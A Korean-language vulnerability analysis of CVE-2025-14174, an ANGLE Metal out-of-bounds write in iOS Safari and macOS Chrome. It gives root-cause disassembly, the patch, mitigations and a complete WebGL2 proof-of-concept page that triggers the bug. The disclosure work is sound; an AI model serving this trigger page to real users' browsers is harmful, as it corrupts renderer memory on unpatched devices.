
CVE-2025-14174에 대한 분석 및 PoC - ANGLE Metal OOB 쓰기 (iOS Safari, macOS Chrome)
CVE-2025-14174에 대한 기술 분석 및 개념 증명
| CVE | CVE-2025-14174 |
| 심각도 | 높음 |
| 실제 공격에 사용됨 | 예 - iOS 26 미만 대상 공격 |
| 영향을 받는 대상 | iOS Safari, macOS Chrome/Chromium/Electron (macOS Safari 제외) |
| 상태 | ANGLE 커밋 95a32cb에서 패치됨 |
| 크레딧 | Apple, Google Threat Analysis Group |
Apple에 따르면, CVE-2025-14174는 iOS 26 이전 버전에서 "특정 표적 개인을 대상으로 한 매우 정교한 공격" 의 일부로 악용되었습니다.
공격 체인은 다음과 같습니다:
ANGLE의 Metal 백엔드에서 스테이징 버퍼를 통해 깊이 텍스처를 업로드할 때 out-of-bounds(OOB) 쓰기 취약점이 존재합니다. 스테이징 버퍼 크기는 실제 텍스처 높이 대신 GL_UNPACK_IMAGE_HEIGHT를 사용하여 계산됩니다. UNPACK_IMAGE_HEIGHT < height인 경우 ANGLE은 크기가 작은 버퍼를 할당하고 이후 height 행(row)을 그 버퍼에 쓰게 되어 렌더러 프로세스에서 GPU 메모리 손상이 발생합니다.
이 취약점은 WebGL에 ANGLE의 Metal 백엔드를 사용하는 애플리케이션에 영향을 미칩니다:
iOS Safari는 영향을 받습니다. iOS에서 WebKit은 ANGLE을 WebGL 백엔드로 사용하므로 iPhone 및 iPad의 Safari가 취약합니다.
macOS Safari는 영향을 받지 않습니다. macOS에서 Safari는 ANGLE을 거치지 않고 Metal과 직접 인터페이스하는 WebKit 자체 네이티브 WebGL 구현을 사용합니다.
macOS Chrome은 영향을 받습니다. macOS 26.1에서 실행되는 Google Chrome은 WebGL에 ANGLE의 Metal 백엔드를 사용하므로 테스트 중 취약한 것으로 나타났습니다.
취약한 코드 경로는 ANGLE의 TextureMtl 클래스(setSubImageImpl / setPerSliceSubImage / SaturateDepth)에 있습니다.
| Severity | Description |
|---|---|
| 확인됨 | GPU/Metal 백엔드가 스테이징 버퍼 끝을 넘어 쓰기 |
| 확인됨 | WebGL2 + PBO + DEPTH_COMPONENT32F로 재현 가능 |
주요 특징:
NO_ERROR 반환)D32F 깊이 텍스처 업로드 경로에서 ANGLE은 GL_UNPACK_IMAGE_HEIGHT로부터 pixelsDepthPitch를 계산하고 이 값을 사용하여 스테이징 MTLBuffer의 크기를 정합니다. 그러나 이후의 컴퓨트 디스패치(깊이 포화)는 실제 텍스처 높이를 사용하므로 매개변수가 다를 때 OOB 쓰기가 발생합니다.
width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F의 경우:
다음 모든 조건이 충족되어야 합니다:
DEPTH_COMPONENT32F (확인됨; 다른 깊이 형식도 영향을 받을 수 있으나 테스트되지 않음)PIXEL_UNPACK_BUFFER에 바인딩된 Pixel Buffer Object (PBO)GL_UNPACK_IMAGE_HEIGHT가 실제 텍스처 높이보다 작게 설정됨GL_UNPACK_IMAGE_HEIGHT는 GL 사양상 3D/배열 텍스처 업로드에 영향을 미치며 2D 텍스처에는 영향을 주지 않습니다. TEXTURE_2D의 경우:
UNPACK_IMAGE_HEIGHT < height을 거부하지 않음WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
SaturateDepth 함수는 이후 실제 텍스처 크기를 사용하여 Metal 컴퓨트 셰이더를 디스패치하며, 크기가 작은 스테이징 버퍼를 넘어 쓰기를 수행합니다.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << smaller than actual height
// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
취약한 시스템에서의 예상 결과: GPU 프로세스에서 OOB 쓰기가 발생했음에도 gl.getError()가 NO_ERROR를 반환합니다.
ANGLE 커밋 95a32cb는 스테이징 버퍼 할당을 실제 텍스처 크기를 사용하도록 수정합니다:
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
또한 블릿(blit) 작업을 위해 srcBytesPerImage 계산이 수정되었습니다:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
이 취약점은 JavaScript에서 탐지하기 어렵습니다:
NO_ERROR를 반환합니다| 방법 | 설명 |
|---|---|
| 업데이트 | ANGLE 수정 사항이 포함된 플랫폼 업데이트 적용 |
| 해결 방법 | 깊이 텍스처에 대해 UNPACK_IMAGE_HEIGHT를 실제 높이보다 작게 설정하지 않음 |
| 심층 방어 | UNPACK_IMAGE_HEIGHT == height인 고정 크기 업로드 사용 |
취약점 발견: Apple, Google Threat Analysis Group
기술 분석: 이 문서는 취약점에 대한 독립적인 연구 및 리버스 엔지니어링을 기록합니다.
SpiderWebKit 보안 연구 프로젝트의 일환으로 수행된 분석.
| Platform | Software | Affected | Notes |
|---|
| iOS | Safari | 예 | iOS의 WebKit은 WebGL에 ANGLE Metal 사용 |
| macOS | Chrome / Chromium | 예 | ANGLE Metal 백엔드 사용 |
| macOS | Electron apps | 예 | Chromium의 ANGLE 구현 사용 |
| macOS | Safari | 아니요 | WebKit의 네이티브 Metal WebGL 사용, ANGLE 아님 |
| 가능성 있음 |
| 메모리 압박 시 GPU 프로세스 충돌 또는 컨텍스트 손실 |
| 이론적 | GPU 메모리 내 교차 리소스 손상 (시연되지 않음) |
| 매개변수 | 계산 | 값 |
|---|
| 행 피치 | width * sizeof(float) | 4바이트 |
| 스테이징 버퍼 (할당됨) | rowPitch * UNPACK_IMAGE_HEIGHT | 512바이트 |
| 컴퓨트 디스패치 (쓰여짐) | rowPitch * actualHeight | 2048바이트 |
| OOB 쓰기 | 2048 - 512 | 1536바이트 |
| 함수 | 주소 | 역할 |
|---|
setSubImageImpl | 0x272fa9028 | 크기가 작은 depthPitch 계산 |
setPerSliceSubImage | 0x272fac240 | 크기가 작은 스테이징 버퍼 할당 |
MakeBufferWithStorageMode | 0x272ef19bc | 잘못된 크기의 MTLBuffer 생성 |
SaturateDepth | 0x272facfa4 | 실제 크기로 컴퓨트 디스패치 |
| 함수 | 주소 | 역할 |
|---|
setSubImageImpl | 0x22c6d10f4 | 크기가 작은 depthPitch 계산 |
setPerSliceSubImage | 0x22c6d4398 | 크기가 작은 스테이징 버퍼 할당 |
MakeBufferWithStorageMode | 0x22c619490 | 잘못된 크기의 MTLBuffer 생성 |
SaturateDepth | 0x22c6d5144 | 실제 크기로 컴퓨트 디스패치 |